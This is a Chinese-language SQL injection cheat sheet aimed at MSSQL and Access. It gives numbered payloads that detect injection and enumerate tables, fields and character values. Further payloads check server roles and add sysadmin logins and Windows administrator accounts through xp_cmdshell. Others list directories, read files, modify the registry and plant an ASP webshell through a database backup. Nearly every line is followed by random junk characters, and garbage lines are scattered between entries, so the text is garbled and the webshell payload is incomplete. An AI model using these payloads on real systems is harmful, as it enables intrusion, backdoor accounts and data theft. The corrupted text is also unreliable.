1.判断是否有注入;and 1=1 ;and 1=2 (tepmcf
2.初步判断是否是mssql ;and user>0 .iFViVZC
}N?g|
3.注入参数是字符'and [查询条件] and ''=' R"@7m!IA
:-z&Y492
4.搜索时没过滤参数的'and [查询条件] and '%25'=' jz*0`9&_
7 0_}S*T
5.判断数据库系统 1\/{#c
z&O#v9.NE|
;and (select count(*) from sysobjects)>0 mssql %NNj9Bl<VV
^w.]Hd2
;and (select count(*) from msysobjects)>0 access ~p:?QB>1]
gNqAj# m
kd yAl,
mjbTy"}"
6.猜数据库 ;and (select Count(*) from [数据库名])>0 I?B,sl_w
/0(%(2jIWl
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 zX98c
1I ""X]I_
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 /hL\,x2
_ Hc%4I
9.(1)猜字段的ascii值(access) A_Rrcsl4
0LdJZP
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ioxbf6{
=~&VdPZ
(2)猜字段的ascii值(mssql) C0QM#"[
msiu8E
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 3f"C!l]Xu
V43TO
10.测试权限结构(mssql) eIH$"f;L
Q=WySIF.
ZWS2q4/S
M7rIi\4K4
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- => qTNh*'
+1QK}H~
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 2VA!&`I
-jB3L:
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Tg0CE60"
&kzj?xK=(j
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 0]B(a
Br!9x{q*
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- V^TbP.
4jX3lq|
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- /,2rjJ#b
YHB9mZi
;and 1=(select IS_MEMBER('db_owner'));-- X%4Kj[I^
E8ta|D
5!(?m~jJ
2z\e\I
11.添加mssql和系统的帐户 |
&7S8Q
-R
b{^/
;exec master.dbo.sp_addlogin username;-- wP<07t[-g
;exec master.dbo.sp_password null,username,password;-- WF[bO7:
vcv CD7MD
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 2: SO_O4C
[c~kF+8
;exec master.dbo.xp_cmdshell 'net user username password "g0(I8
=n+ \\D
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- g9~]s9
pr&=n;_ n
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ,eRQu.
[M%._u,
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Z6Fp\aI8@
YlF%UPp
4<gb36)|4
q%i-`S]}qL
12.(1)遍历目录 KC#/Z2A|<
[0y$! f4
;create table dirs(paths varchar(100), id int) ba@ctkCW
_zMgoc7
;insert dirs exec master.dbo.xp_dirtree 'c:\' :J/M,3
Ba'LRz
;and (select top 1 paths from dirs)>0 4vWkT8HQ
-7{$Vj
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) j Ux
z
Wl-<HR!n
1:M@&1LYp
U;q];e:,=}
(2)遍历目录 T~4N+fK
n6<V+G)T
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- .(CP. d
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 {Ui=b+
Qf $|_&|
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 EYX$pz(x;
04U")-\O
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 7 msAhz
U#&7p)4(
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Np+&t}
oXXC@[??}N
"vZ!vt#'Y
{0"YOS`3AX
13.mssql中的存储过程 'T<iHV&
A:l@_*C..
xp_regenumvalues 注册表根键, 子键 h vka{LD
GL{57
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Uyx!E4pl(
~{,X3-S_H
xp_regread 根键,子键,键值名 d;mx<i=/
&0zT I?c
;exec xp_regread )Gw~XtB2
zOgTQs"ZH
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 -#!x|ne
*jIqAhs0{
xp_regwrite 根键,子键, 值名, 值类型, 值 9}a_:hAy/
_WX tB#
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 V-'K6mn;
UhA"nt0
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 10!wqyj&
B/~%h |
xp_regdeletevalue 根键,子键,值名 YQJ==C1
)WT>@
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ivDGZI9
4SPy28<f
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 g<{xC_J
M" ^PW,k
8#!i[UFdj
N_:qRpp6i
14.mssql的backup创建webshell {:@tQdM:i8
^WBuMCe
use model ?v>ET2wD
dT,o=8fg
create table cmd(str image); [kE."#
pvmC$n^zc
insert into cmd(str) values (''); jReXyRmo({
Uf}\p~;
backup database model to disk='c:\l.asp'; p-.n3AL
P(F+f`T
pPd#N'\*
ME'|saP
15.mssql内置函数 e[hcJz!D
6 G=j6gK%P
;and (select @@version)>0 获得Windows的版本号 g=I8@m
4:g R r
;and user_name()='dbo' 判断当前系统的连接用户是不是sa J9~g|5
Yw#2uh
;and (select user_name())>0 爆当前系统的连接用户 \hCH>*x<
7jdb)l\p=
;and (select db_name())>0 得到当前连接的数据库 )7h$G-fe
E*+{t~
itC-4^
Ol!ntNhXm
16.简洁的webshell s6>ZREf#J
}iuWAFZbGS
use model >,td(= :
qgfi\/$6
create table cmd(str image); P#AW\d^"B
t. ;LnrY
insert into cmd(str) values (''); %n*-VAfE\
F i0GknQ+
backup database model to disk='g:\wwwtest\l.asp';